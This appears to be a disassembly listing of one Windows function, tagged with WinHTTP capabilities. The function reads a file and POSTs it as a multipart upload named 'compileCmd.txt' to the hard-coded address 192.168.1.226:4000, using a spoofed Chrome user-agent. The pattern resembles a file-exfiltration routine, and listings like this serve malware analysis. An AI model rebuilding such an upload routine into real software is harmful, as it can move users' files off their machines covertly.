Function at 0x140002a92
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x1f0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x190], rcx
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.generateBoundary_abi:cxx11___
mov rax, rbp
mov rcx, rax
call fcn.1400bb1d0
lea rax, [rbp + 0x40]
mov rdx, qword [rbp + 0x190]
mov rcx, rax
call sym.readFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x40]
mov rax, rbp
mov rcx, rax
call method.std::vector_char__std::allocator_char___.operator_std::vector_char__std::allocator_char____
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector__
mov dword [rsp + 0x20], 0x10000000
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_91.0.4472.124_Safari_537.36
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpen]
call rax
mov qword [rbp + 0x168], rax
cmp qword [rbp + 0x168], 0
jne 0x140002b62
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._ERROR__WinHttpOpen_error_code:_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov ebx, 0
jmp 0x140002fca
lea rax, str.___Http_opened_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x168]
mov r9d, 0
mov r8d, 0xfa0
lea rdx, str.192.168.1.226
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpConnect]
call rax
mov qword [rbp + 0x160], rax
cmp qword [rbp + 0x160], 0
jne 0x140002bcc
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._ERROR__WinHttpConnect_error_code:_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov ebx, 0
jmp 0x140002fca
lea rax, str.___Http_connected_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x160]
mov dword [rsp + 0x30], 0x100
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x1400e87d6]
lea rdx, str.POST
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
call rax
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x158], 0
jne 0x140002c51
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._ERROR__WinHttpOpenRequest_error_code:_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov ebx, 0
jmp 0x140002fca
lea rax, str.___Http_request_opened_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400bfa80
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0x20]
mov r8, rdx
lea rdx, [0x1400e8827]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea r8, [0x1400e882a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x60]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
lea rdx, str.Content_Disposition:_form_data__name_file___filename_compileCmd.txt__r_n
mov rcx, rax
call fcn.1400c0950
lea rax, [rbp - 0x20]
lea rdx, str.Content_Type:_application_octet_stream_r_n_r_n
mov rcx, rax
call fcn.1400c0950
mov rax, rbp
mov rcx, rax
call method.std::vector_char__std::allocator_char___.end__
mov rsi, rax
mov rax, rbp
mov rcx, rax
call method.std::vector_char__std::allocator_char___.begin__
mov rbx, rax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.end__
mov qword [rbp + 0xa8], rax
lea rdx, [rbp + 0xa8]
lea rax, [rbp + 0xa0]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____.__normal_iterator_char__void____gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___
mov rdx, qword [rbp + 0xa0]
lea rax, [rbp - 0x20]
mov r9, rsi
mov r8, rbx
mov rcx, rax
call sym._ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6insertIN9__gnu_cxx17__normal_iteratorIPcSt6vectorIcS3_EEEvEENS7_IS8_S4_E
lea rax, [rbp + 0xd0]
lea rdx, [rbp + 0x20]
mov r8, rdx
lea rdx, str._r_n__
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xb0]
lea rdx, [rbp + 0xd0]
lea r8, str.___r_n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0xb0]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
mov dword [rbp + 0x154], eax
lea rax, [rbp + 0x137]
mov qword [rbp + 0x138], rax
nop
nop
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.end___const
mov rbx, rax
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.begin___const
mov rdx, rax
lea rcx, [rbp + 0x137]
lea rax, [rbp + 0x110]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string___gnu_cxx::__normal_iterator_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______void____gnu_cxx::__no
lea rax, [rbp + 0xf0]
lea rdx, [rbp + 0x110]
mov r8, rdx
lea rdx, str.Content_Type:_multipart_form_data__boundary
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____wchar_t_const__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____
lea rax, [rbp - 0x40]
lea rdx, [rbp + 0xf0]
lea r8, [0x1400e8912]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t_____wchar_t_const_
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x137]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.data__
mov rbx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rcx, rax
mov rax, qword [rbp + 0x158]
mov qword [rsp + 0x30], 0
mov edx, dword [rbp + 0x154]
mov dword [rsp + 0x28], edx
mov edx, dword [rbp + 0x154]
mov dword [rsp + 0x20], edx
mov r9, rbx
mov r8d, 0xffffffff
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
call rax
mov dword [rbp + 0x150], eax
cmp dword [rbp + 0x150], 0
jne 0x140002f0e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._ERROR__WinHttpSendRequest_error_code:_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov ebx, 0
jmp 0x140002fb2
lea rax, str.___Request_sent_successfully_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x158]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
call rax
mov dword [rbp + 0x14c], eax
cmp dword [rbp + 0x14c], 0
jne 0x140002f65
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str._ERROR__WinHttpReceiveResponse_error_code:_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov ebx, 0
jmp 0x140002fb2
lea rax, str.___Response_Received_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x160]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov ebx, 1
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector__
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x14000311e
add rsp, 0x1f0
pop rbx
pop rsi
pop rbp
ret